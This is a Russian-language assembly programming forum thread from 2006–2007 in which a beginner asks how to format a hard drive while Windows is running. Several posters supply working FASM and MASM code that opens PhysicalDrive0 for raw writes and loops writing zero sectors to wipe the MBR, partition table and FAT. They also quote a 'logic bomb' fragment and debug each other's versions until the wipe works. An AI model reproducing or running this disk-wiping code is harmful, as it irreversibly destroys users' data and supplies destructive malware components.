Форматирование харда в реальном времени

Тема в разделе "WASM.BEGINNERS", создана пользователем ring4, 20 ноя 2006.

  1. ring4

    ring4 New Member

    Публикаций:
    0
    Регистрация:
    19 ноя 2006
    Сообщения:
    279
    Вообще возможно отформатировать жесткий диск в реальном времени. т.е пользователь сидит в винде, а тем временем идёт форматирование. Подскажите, хоть ссылки по теме. интерсно просто.
     
  2. alpet

    alpet Александр

    Публикаций:
    0
    Регистрация:
    21 сен 2004
    Сообщения:
    1.221
    Адрес:
    Russia
    ring4
    Можно, имея права администратора. Только это нехорошо, надо предупреждать.
     
  3. ring4

    ring4 New Member

    Публикаций:
    0
    Регистрация:
    19 ноя 2006
    Сообщения:
    279
    мне просто было интересно услышать да или нет. просто интересно как это все работает.
     
  4. Sergei_2006

    Sergei_2006 New Member

    Публикаций:
    0
    Регистрация:
    7 ноя 2006
    Сообщения:
    30
    Ага так она и дала тебе так просто отформатить диск на котором стоит. Скорее обматерит раз 100.
     
  5. Crazy_Death

    Crazy_Death New Member

    Публикаций:
    0
    Регистрация:
    10 июл 2006
    Сообщения:
    16
  6. apple

    apple Виктор

    Публикаций:
    0
    Регистрация:
    26 апр 2005
    Сообщения:
    907
    Адрес:
    Russia
    Можно не форматируя убить :)
    Ms-Rem приводил код.
     
  7. _Serega_

    _Serega_ New Member

    Публикаций:
    0
    Регистрация:
    18 июн 2006
    Сообщения:
    288
    100% Можно, и 100% проверено :), но почему-то пашет не у всех... Наверно есть возможность лочинга секторов, но в MBR&PT&FAT пишется всегда, что и нужно для форматирования :).
    Где-то валялась прога которая форматировала винт, если думала что её хакают, жесттъ вообщем :)
     
  8. assorted

    assorted New Member

    Публикаций:
    0
    Регистрация:
    7 авг 2006
    Сообщения:
    227
    Вот. Пользуйтесь на здоровье...

    format PE GUI 4.0
    entry start

    include 'c:\fasm\include\win32a.inc'

    section '.code' code readable executable

    start:

    invoke CreateFile, DeviceName, GENERIC_READ or GENERIC_WRITE,\
    FILE_SHARE_READ or FILE_SHARE_WRITE, 0, OPEN_EXISTING,\
    FILE_ATTRIBUTE_NORMAL, 0
    cmp eax, INVALID_HANDLE_VALUE
    je @exit

    mov [fhdr], eax
    l:
    invoke WriteFile, [fhdr], buf, 512, NumberOfBytesRead, NULL
    invoke SetFilePointer, [fhdr], 512, 0, FILE_CURRENT
    jmp l

    @exit:
    invoke ExitProcess, 0


    section '.data' data readable writeable

    DeviceName db '\\.\PHYSICALDRIVE0',0



    section '.udata' readable writeable

    buf rb 512
    NumberOfBytesRead dd ?
    fhdr dd ?

    section '.idata' import data readable

    library kernel32,'KERNEL32.DLL',\
    user32,'USER32.DLL'

    include 'c:\fasm\include\APIA\KERNEL32.INC'
    include 'c:\fasm\include\APIA\USER32.INC'
     
  9. Cyber_Mozg

    Cyber_Mozg Andrey

    Публикаций:
    0
    Регистрация:
    4 апр 2005
    Сообщения:
    214
    Адрес:
    Russia
    assorted у меня на вмваре ни чего не форматнулось
     
  10. Cyber_Mozg

    Cyber_Mozg Andrey

    Публикаций:
    0
    Регистрация:
    4 апр 2005
    Сообщения:
    214
    Адрес:
    Russia
    ring4
    можно попробывать затереть нулями fat и MBR вот тебе кусок остальное ищи "логическая бомба " by sl0n


    Код (Text):
    1. lea esi,[ebp+drive_a] ; esi = имени файла
    2.  
    3. push 0 ;
    4. push 00000080h ;
    5. push 3 ;
    6. push 0 ;
    7. push 00000001h OR 00000002h ;
    8. push 40000000h OR 80000000h ;
    9. push esi ;
    10. call CreateFileAx ; Открытие файла
    11. mp eax,-1 ; Файл открылся ?
    12. je Close_File ;
    13.  
    14. mov [ebp+fHnd32],eax ; Сохранение хэндла файла
    15.  
    16. push 00000004h ; Страница для чтения/записи
    17. push 00001000h ;
    18. push 1000h ; Количетсво нужной памяти
    19. push 0h ;
    20. call VirtualAllocx ;
    21.  ; Выделяем память
    22.  
    23. cmp eax,-1 ; Если ошибка, то
    24. je Close_File ; На выход
    25.  
    26. mov [ebp+mHnd32],eax ; Указатель на память
    27.  
    28. push 0 ;
    29. lea eax,[ebp+s2r] ;
    30. push eax ;
    31. push 1000h ;
    32. push [ebp+mHnd32] ;
    33. push [ebp+fHnd32] ;
    34. call lWriteFilex ; Перезаписываем нулями
    35. ; MBR и FAT
    36.  
    37. push 00004000h ;
    38. push 1000h ;
    39. push [ebp+mHnd32] ;
    40. VirtualFreex ; Освобождаем память
    41.  
    42.  
    43. Close_File:
    44. push [ebp+fHnd32] ;
    45. CloseHandlex ; Закрываем файл
    46. fHnd32 dd 0
    47. mHnd32 dd 0
    48. s2r dd 0
    49.  
    50. drive_a db '\\.\PhysicalDrive0',0
     
  11. assorted

    assorted New Member

    Публикаций:
    0
    Регистрация:
    7 авг 2006
    Сообщения:
    227
    Cyber_Mozg, ну мбр, таблицу разделов и фат точно затираются..... А вот смапленый системые файлы - наврятли.
     
  12. Cyber_Mozg

    Cyber_Mozg Andrey

    Публикаций:
    0
    Регистрация:
    4 апр 2005
    Сообщения:
    214
    Адрес:
    Russia
    assorted
    извЕняюсь после перезагрузки всё ок, диск не определяется, но странно код который привёл я работает без перезагрузки тоесть запустил и всё бправда все данные можно востановить если захотеть
     
  13. assorted

    assorted New Member

    Публикаций:
    0
    Регистрация:
    7 авг 2006
    Сообщения:
    227
    Cyber_Mozg, ошибочка в моем коде

    l:
    mov [fhdr], eax

    надо метку не до мува, а после.
    Иначе он затирает только 200h байт - тобиш только мбр

    надо так
    mov [fhdr], eax
    l:
     
  14. Swat2k

    Swat2k Дима

    Публикаций:
    0
    Регистрация:
    14 май 2007
    Сообщения:
    64
    Я так понял тут только для fasm , а есть ли для версия для masm . Я попытался портировать но чёт неработает

    Код (Text):
    1. .data
    2. buf              dw  512
    3. DeviceName db '\\.\PhysicalDrive0',0
    4. .data?
    5. NumberOfBytesRead     dd  ?
    6. fhdr              dd  ?
    7. .code
    8. start:
    9.     invoke CreateFile, DeviceName, GENERIC_READ or GENERIC_WRITE,\
    10.                FILE_SHARE_READ or FILE_SHARE_WRITE, 0, OPEN_EXISTING,\
    11.                FILE_ATTRIBUTE_NORMAL, 0
    12.     cmp eax, INVALID_HANDLE_VALUE
    13.     je @exit
    14. l:
    15.      invoke WriteFile,ADDR fhdr, buf, 512, NumberOfBytesRead, NULL
    16.      invoke SetFilePointer,ADDR fhdr, 512, 0, FILE_CURRENT
    17.      jmp l
    18. @exit:
    19.     invoke ExitProcess, 0
    20. end start
     
  15. tester3000

    tester3000 New Member

    Публикаций:
    0
    Регистрация:
    20 окт 2006
    Сообщения:
    140
    Swat2k
    а на что компилятор ругается ?
     
  16. Swat2k

    Swat2k Дима

    Публикаций:
    0
    Регистрация:
    14 май 2007
    Сообщения:
    64
    Да ниругается он , наоборот всё норм комплирует но MBR не портиться ... ваще 0 эффекта
    Есть какие нить варианты почему так может быть?
     
  17. Vov4ick

    Vov4ick Владимир

    Публикаций:
    0
    Регистрация:
    8 окт 2006
    Сообщения:
    581
    Адрес:
    МО
    Если форматирование делается с целью уничтожения информации, может проще и надёжней использовать функции защиты диска (стирание - простое и с заполнением). Но для этого нужно общаться с ним напрямую.
     
  18. KeSqueer

    KeSqueer Сергей

    Публикаций:
    0
    Регистрация:
    19 июл 2007
    Сообщения:
    1.183
    Адрес:
    Москва
    Swat2k
    offset на забываем
     
  19. Swat2k

    Swat2k Дима

    Публикаций:
    0
    Регистрация:
    14 май 2007
    Сообщения:
    64
    Приведите правельный пример кода , я асм недавно изучаю тока (ногами не пинайте )
     
  20. KondraT

    KondraT Member

    Публикаций:
    0
    Регистрация:
    22 янв 2006
    Сообщения:
    175
    Код (Text):
    1. .data
    2. buf                            db  512 dup (0)
    3. DeviceName                db '\\.\PhysicalDrive0',0
    4. NumberOfBytesRead     dd  0
    5. fhdr                          dd 0
    6.  
    7. .code
    8. start:
    9.     invoke CreateFile, addr DeviceName, GENERIC_READ or GENERIC_WRITE,\
    10.                FILE_SHARE_READ or FILE_SHARE_WRITE, 0, OPEN_EXISTING,\
    11.                FILE_ATTRIBUTE_NORMAL, 0
    12.     cmp eax, INVALID_HANDLE_VALUE
    13.     je @exit
    14.  
    15.     push eax
    16.     pop fhdr
    17.  
    18.      invoke WriteFile, fhdr, addr buf, 512, addr NumberOfBytesRead, NULL
    19.      invoke SetFilePointer, fhdr, 512, 0, FILE_CURRENT
    20.  
    21. @exit:
    22.     invoke ExitProcess, 0
    23. end start